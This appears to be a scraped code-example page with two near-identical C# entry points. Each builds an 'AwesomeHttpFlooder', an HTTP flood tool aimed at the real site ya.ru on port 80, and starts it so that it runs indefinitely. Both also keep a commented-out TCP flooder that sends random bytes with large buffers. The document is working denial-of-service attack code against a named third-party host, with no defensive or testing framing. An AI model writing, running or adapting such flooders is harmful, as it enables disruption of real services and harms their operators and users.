Пример #1
0
        static void _Main(string[] args)
        {
            var r = new FastRandom.FastRandom();

            Debug.Listeners.Add(new ConsoleTraceListener(true));
            //var f = new AsyncFlooder(
            //    new AttackInfo {
            //        Protocol = ProtocolType.Tcp,
            //        Target = new IPEndPoint(
            //            Dns.GetHostAddresses(
            //                "ya.ru"
            //            )[ 0 ],
            //            80
            //        ),
            //        Randomizer = ( a, b ) => {
            //            r.NextBytes( a );
            //            return a.Length;
            //        },
            //        MaxRead = 0,
            //        sendBufferSize = 50000
            //    },
            //    5
            //);

            var f = new AwesomeHttpFlooder(
                new IPEndPoint(
                    Dns.GetHostAddresses("ya.ru")[0],
                    80),
                new HttpAttackParams {
                AttackType       = HttpAttackType.Deafult,
                Dns              = "ya.ru",
                Gzip             = true,
                Query            = "/",
                RandomAppendHost = false,
                RandomAppendUrl  = false,
                WaitForResponse  = false
            }
                );

            f.Start();
            Thread.Sleep(Timeout.InfiniteTimeSpan);
        }
Пример #2
0
        static void _Main( string[] args )
        {
            var r = new FastRandom.FastRandom();
            Debug.Listeners.Add( new ConsoleTraceListener( true ) );
            //var f = new AsyncFlooder(
            //    new AttackInfo {
            //        Protocol = ProtocolType.Tcp,
            //        Target = new IPEndPoint(
            //            Dns.GetHostAddresses(
            //                "ya.ru"
            //            )[ 0 ],
            //            80
            //        ),
            //        Randomizer = ( a, b ) => {
            //            r.NextBytes( a );
            //            return a.Length;
            //        },
            //        MaxRead = 0,
            //        sendBufferSize = 50000
            //    },
            //    5
            //);

            var f = new AwesomeHttpFlooder(
                new IPEndPoint(
                    Dns.GetHostAddresses( "ya.ru" )[ 0 ],
                    80 ),
                new HttpAttackParams {
                    AttackType = HttpAttackType.Deafult,
                    Dns = "ya.ru",
                    Gzip = true,
                    Query = "/",
                    RandomAppendHost = false,
                    RandomAppendUrl = false,
                    WaitForResponse = false
                }
            );
            f.Start();
            Thread.Sleep(Timeout.InfiniteTimeSpan);
        }